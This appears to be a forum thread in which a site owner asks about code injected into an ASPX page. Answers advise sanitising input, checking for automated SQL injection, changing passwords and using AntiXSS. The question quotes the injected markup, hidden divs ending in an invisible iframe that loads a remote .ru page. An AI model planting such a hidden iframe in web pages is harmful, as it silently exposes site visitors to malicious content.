I'm being attacked - what can I do?

Question

Someone is putting this code onto my aspx page.

What are they doing?

How are they doing it?

How do I stop them?

It's on a shared hosting server.

It's on an aspx content page which has a master page and is after the </asp:content> tag...

<div style="display:none">qzfmjsdbknmrmlkszrrcehikeapphqq</div>

<div style="display:none">owhkhminltvnwvegxktzemrszyykcsh</div>

<div style="display:none">cljwdrmbxglllikbjctmpyvcflzxbqk</div>

<div style="display:none">vhhnvchdoxaklqjxlwaqvtgarazwcsx</div>

<div style="display:none">alsbcgosnllreyylgtmblvqwxgpidui</div>

<div style="display:none">yrrzaimkpvimddgirjpuatjzoyovdyq<iframe width=812 height=451 src="http://bionaft.ru:8080/index.php" ></iframe></div>

Answer 1

Take your site offline.

No, I'm being serious.

Take it offline and look at all points that you deal with user inputs and look at your code and sanitise every user input, and every output. There's plenty of documentation on XSS, Code Injection and such.

Answer 2

How does the page get rendered - is there content coming from a database? What is the url? have you set validateRequest to false?

more info needed I think

Answer 3

Is it yet another Automated SQL Injection attack? Check out your logs and see if there is something with "DECLARE" in it. (assuming you are using SQL Server)

Answer 4

It's on an aspx content page which has a master page and is after the </asp:content> tag...

Do you mean someone has got onto your sever and edited the .aspx files on the server? If that's the case make sure you have locked down any file shares and change all your passwords for ftp and the like.

If it's that the rendered pages have been mashed then the advice from @squeeks is the way to go.

Answer 5

It seems that you are not the only one. Google for it:

Answer 6

Try looking into the AntiXSS libary; pages that are important, turn them off for a while. I believe you will need to update the code, use AntiXSS in every url; switch all of your direct query generation to Parameter based query generation; and than, things will be under control. Also, there is a lot of stuff regarding whitelist items on google/bing.